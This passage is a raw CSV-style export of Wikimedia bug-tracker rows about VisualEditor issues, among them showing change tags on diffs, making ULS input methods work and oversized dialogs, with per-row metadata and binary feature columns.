+However, I think it's reasonable to just show all the tags for now, and revisit if it turns out to be an issue in practice.",,,1373150736,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-hmd3ybxvx2oovxcgcs5b,task_subcomment,,True,c1,3,True,,,0,,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,0,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+239146,VisualEditor: Show VisualEditor tag in diffs,"(In reply to comment #0)
+> because it might need to be configurable (it might be
+> we don't want all tags, such as AbuseFilter, etc. to show on diffs).
+
+Personally I see no reason to show any tag in history view, but keep it hidden on diff view. What would be the use case?",,,1373145320,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-hmd3ybxvx2oovxcgcs5b,task_subcomment,,True,c1,3,True,,,0,,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+239142,VisualEditor: Show VisualEditor tag in diffs,"Change 72317 had a related patch set uploaded by Matmarex:
+Show change tags on diffs
+
+https://gerrit.wikimedia.org/r/72317",,,1373144622,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-hmd3ybxvx2oovxcgcs5b,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+239139,VisualEditor: Show VisualEditor tag in diffs,"Core change request created as bug 49656. Until that's done this is a ""later"", sadly.",,,1371419564,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-hmd3ybxvx2oovxcgcs5b,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0
+51569,Make ULS input methods work in content editable divs of VisualEditor,"ULS IME not working with Visual Editor fields
+
+--------------------------
+**Version**: master
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50722
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53700
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53701
+https://wikimedia.mingle.thoughtworks.com/projects/language_engineering/cards/3493",Medium,50.0,1371201120,1453749464.0,PHID-USER-4jecvpv4h62htut6pxez,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_description,resolved,True,c1,2,False,False,False,-3,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+596676,Make ULS input methods work in content editable divs of VisualEditor,"As of https://gerrit.wikimedia.org/r/#/c/264577/ in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow.",,,1453749454,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,3,True,,,134,,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+237041,Make ULS input methods work in content editable divs of VisualEditor,*** Bug 58662 has been marked as a duplicate of this bug. ***,,,1389025443,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,3,False,,,27,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+237035,Make ULS input methods work in content editable divs of VisualEditor,Please use bugzilla as the single place o make issues known that are relevant for developers. References to lists of issues on wiki pages will not do.,,,1377961711,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0
+237031,Make ULS input methods work in content editable divs of VisualEditor,"(In reply to comment #13)
+@ Santhosh Thottingal  Please have a look at [https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#VE_.2B_ULS_unicode_Devnagari_Script_input_issues].I have added a table of known issues today.
+
+Rgds",,,1377957239,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,1
+237028,Make ULS input methods work in content editable divs of VisualEditor,"With https://gerrit.wikimedia.org/r/#/c/79755/ jquery.ime start working in visual editor. The UI is not integrated well with the VE UI. And there are VE specific bugs related to cursor handling and text selection, that are applicable to all IMEs or non latin text.",,,1377491236,,PHID-USER-m2yck6646cdt5t6zkta4,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,3,False,,,8,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+237024,Make ULS input methods work in content editable divs of VisualEditor,"Hi, 
+
+Thanks for your reply,I know in any case you will be doing your best to make both extensions compatible.What will be likely situation during the time gap,so please let we know if you can think of any easy time gap solution can be made available.Other wise even while ULS is with us, we will be back to square one. 
+
+
+
+
+Warm Regards",,,1374250703,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,1,1,0,1,0
+237020,Make ULS input methods work in content editable divs of VisualEditor,"It's probably important to manage expectations here.
+
+Tl;dr: it's not realistic to assess that ULS/jQuery.IME input methods will work in VE before the end of July 2013. At this time, no reliable estimate can be made when this is to be expected. Working towards getting this issue resolved has a high priority in the VE and LE teams.
+
+Input methods for many scripts, either natively supported by an operating system, by an application, or by JavaScript, are currently incompatible or at least lead to unexpcted behavior when using VisualEditor.
+
+Possible ways that will allow this to be resolved are currently being explored. I expect that by the end of next week, The VisualEditor and Language Engineering team will have an understanding that will allow them to estimate how much time is needed to make native input possible in most, if not all scripts, when using VE. Once that is done, further exploration is needed to assess the effort needed to make input methods work correctly, including the input methods of ULS/jQuery.IME.
+
+See bug 33077 for more details. In the near future, I expect we will be able to identify issues that need to be resolved before we can work on this issue specifically in the field ""depends on"".",,,1374241350,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,1,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0
+237016,Make ULS input methods work in content editable divs of VisualEditor,"Hi,
+
+Waiting for this to be available for test,if possible  couple of days before VE to be launched on vernacular wikis which are dependent on ULS. Time table for hi and few other wikis is expected to be 22nd July 2013.
+
+
+Thanks and Warm Regards",,,1374238606,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+237012,Make ULS input methods work in content editable divs of VisualEditor,*** Bug 51354 has been marked as a duplicate of this bug. ***,,,1373968970,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+237006,Make ULS input methods work in content editable divs of VisualEditor,"**ansumang** wrote:
+
+Santhosh, I think by changing the summary, we could avoid the duplicates?
+
+(In reply to comment #7)
+%%%> *** Bug 50345 has been marked as a duplicate of this bug. ***%%%",,,1372424196,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+236999,Make ULS input methods work in content editable divs of VisualEditor,*** Bug 50345 has been marked as a duplicate of this bug. ***,,,1372403231,,PHID-USER-m2yck6646cdt5t6zkta4,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+236989,Make ULS input methods work in content editable divs of VisualEditor,"Making this a bug instead of a feature, as we would expect the key mappings to work on any input field that is more or less supported for well supported and stable MediaWiki extensions, including VisualEditor.
+
+Set to highest priority. Tracked on Wikimedia Language Engineering team as https://mingle.corp.wikimedia.org/projects/internationalization/cards/3493
+
+If anyone is working on this and expects to be done before 2013-07-07, please let us know and we'll wait. Otherwise, I expect we will have development capacity to take this up and get it delivered by 2013-07-09.",,,1372351337,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,2,False,,,-1,,1,1,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,1,0
+236982,Make ULS input methods work in content editable divs of VisualEditor,*** Bug 50293 has been marked as a duplicate of this bug. ***,,,1372351064,,PHID-USER-m2yck6646cdt5t6zkta4,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+236975,Make ULS input methods work in content editable divs of VisualEditor,*** Bug 49704 has been marked as a duplicate of this bug. ***,,,1371699225,,PHID-USER-m2yck6646cdt5t6zkta4,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+236969,Make ULS input methods work in content editable divs of VisualEditor,CCing Moriel who's working for GSoC2013 on VisualEditor issues around i18n and in particular RTL; she may have some thoughts. :-),,,1371429357,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+236965,Make ULS input methods work in content editable divs of VisualEditor,*** Bug 49643 has been marked as a duplicate of this bug. ***,,,1371409196,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+236959,Make ULS input methods work in content editable divs of VisualEditor,This is part of a GSOC2013 project and tracked here https://github.com/wikimedia/jquery.ime/issues/136,,,1371204225,,PHID-USER-m2yck6646cdt5t6zkta4,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+51564,VisualEditor: Review behaviour in CE with <p><br /></p>s,"Need to review and get working so we can ask Parsoid to re-enable these (stop them being wrapped as <mw:Placeholder>s) - bug 47403 comment 3.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1371181020,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-txjmg5opo7xccxwery5r,task_description,open,True,c1,2,True,False,,-3,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,1
+51552,VisualEditor: UI loading should trigger events that other tools can listen for,"I'm thinking something like:
+
+start loading VE
+done loading VE UI
+start rendering VE content
+done rendering VE content
+done loading VE
+
+These would make it easier for other scripts to hook into what is going on. We could use it for instance to add the BLP/disambig editnotice to the actual edit notices on the english wikipedia. https://en.wikipedia.org/wiki/Wikipedia:Editnotice#Edit_intros
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1371162780,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-mmsz5huxzdhmzpx6zlmd,task_description,open,True,c1,2,True,False,,-3,,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,1,0,0
+235880,VisualEditor: UI loading should trigger events that other tools can listen for,"We should probably have a proper discussion about events and integration with external tools, rather than doing spike solutions; punting to Trevor to discuss (post-July).",,,1371163018,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mmsz5huxzdhmzpx6zlmd,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+51551,VisualEditor: Can't paste into a selection covering the end of the document,"1. Copy some plain text
+2. Make a selection in the document up to the end of it (e.g. select all)
+3. Paste
+4. Exception time!
+
+Problem is in ve.dm.Surface line 376:
+
+rightAnnotations = dataModelData.getAnnotationsFromOffset( right );
+
+with right = -1 (out of bounds)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1371162120,1371233886.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-fruuvllzbsjlpilalc3q,task_description,resolved,True,c1,2,True,False,True,-3,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+470735,VisualEditor: Can't paste into a selection covering the end of the document,"Change 131717 had a related patch set uploaded (by Liangent):
+LanguageConverter fix of empty and numeric strings
+
+[[https://gerrit.wikimedia.org/r/131717]]
+",,,1433773169,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fruuvllzbsjlpilalc3q,task_subcomment,,True,c1,3,False,,,101,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+235841,VisualEditor: Can't paste into a selection covering the end of the document,Merged and will go out with wmf8 from Thursday 20 June.,,,1371233886,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fruuvllzbsjlpilalc3q,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+235836,VisualEditor: Can't paste into a selection covering the end of the document,Related URL: https://gerrit.wikimedia.org/r/68629 (Gerrit Change I7497b5195961e46718c7382409a66b7eec1162a9),,,1371207127,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fruuvllzbsjlpilalc3q,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+51549,"VisualEditor: Dialogs are quite big, maybe they could be smaller","It should allow the editor to see the page content while specifying a reference.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49969
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51755",Medium,50.0,1371158700,1399324736.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-k2rw3gv6tegtzx4fqydd,task_description,resolved,True,c1,2,False,False,False,-3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+235768,"VisualEditor: Dialogs are quite big, maybe they could be smaller",We changed the sizes of dialogs a few months ago.,,,1399324736,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k2rw3gv6tegtzx4fqydd,task_subcomment,,True,c1,3,True,,,44,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+235766,"VisualEditor: Dialogs are quite big, maybe they could be smaller","(In reply to comment #2)
+> I think the user needs to be able to see the page text, but the current modal
+> window takes too much space in the screen. If it wasn't modal, the user could
+> at least drag it to the side to see the text.
+
+Hmm... It seems a dialog can be modal while still being draggable:
+http://jqueryui.com/dialog/#modal-confirmation",,,1372037113,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-k2rw3gv6tegtzx4fqydd,task_subcomment,,True,c1,2,False,,,-1,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,1,0,1,0,0,0,1,1
+235761,"VisualEditor: Dialogs are quite big, maybe they could be smaller","(In reply to comment #3)
+> Compare this with WikiEditor's dialog (which can be moved on the screen, and
+> do not forget what the user typed)
+
+and is smaller...",,,1371167576,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-k2rw3gv6tegtzx4fqydd,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1
+235755,"VisualEditor: Dialogs are quite big, maybe they could be smaller","Notice that if I type some text in the window and then close it for a moment, to take a look in the text, it forgets what I typed once I open the window again.
+
+Compare this with WikiEditor's dialog (which can be moved on the screen, and do not forget what the user typed)",,,1371167012,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-k2rw3gv6tegtzx4fqydd,task_subcomment,,True,c1,2,False,,,-3,,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+235750,"VisualEditor: Dialogs are quite big, maybe they could be smaller","I think the user needs to be able to see the page text, but the current modal window takes too much space in the screen. If it wasn't modal, the user could at least drag it to the side to see the text.",,,1371166679,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-k2rw3gv6tegtzx4fqydd,task_subcomment,,True,c1,2,False,,,-3,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0
+235744,"VisualEditor: Dialogs are quite big, maybe they could be smaller","(In reply to comment #0)
+> It should allow the editor to see the page content while specifying a
+> reference.
+
+I'm a bit confused by your title - are you saying that you expect modal items to take up less screen estate? All modal items in VE (dialogs) are the same, standard size.",,,1371160792,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k2rw3gv6tegtzx4fqydd,task_subcomment,,True,c1,2,True,,,-3,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,1
+51514,VisualEditor: z-index for .ve-ui-surface-overlay is too high (and we shouldn't use them anyway),"Right now the z-index for .ve-ui-surface-overlay is set to 1000, which is way higher than pretty much anything else in MediaWiki. This makes it float above lots of things it shouldn't float above, like the header drop-down menu in the visual editor, the Echo notifications dropdown, etc. The z-index for the Echo notifications dropdown is 100 (so that it is higher than the close buttons in SiteNotices which are 99).
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1371107160,1416502788.0,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,False,PHID-TASK-dlisjakdxxdx6ulkcllp,task_description,resolved,True,c1,2,False,False,False,-3,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1
+233699,VisualEditor: z-index for .ve-ui-surface-overlay is too high (and we shouldn't use them anyway),"(In reply to Alex Monk from comment #6)
+> Wasn't this fixed by Gerrit change #70572?
+
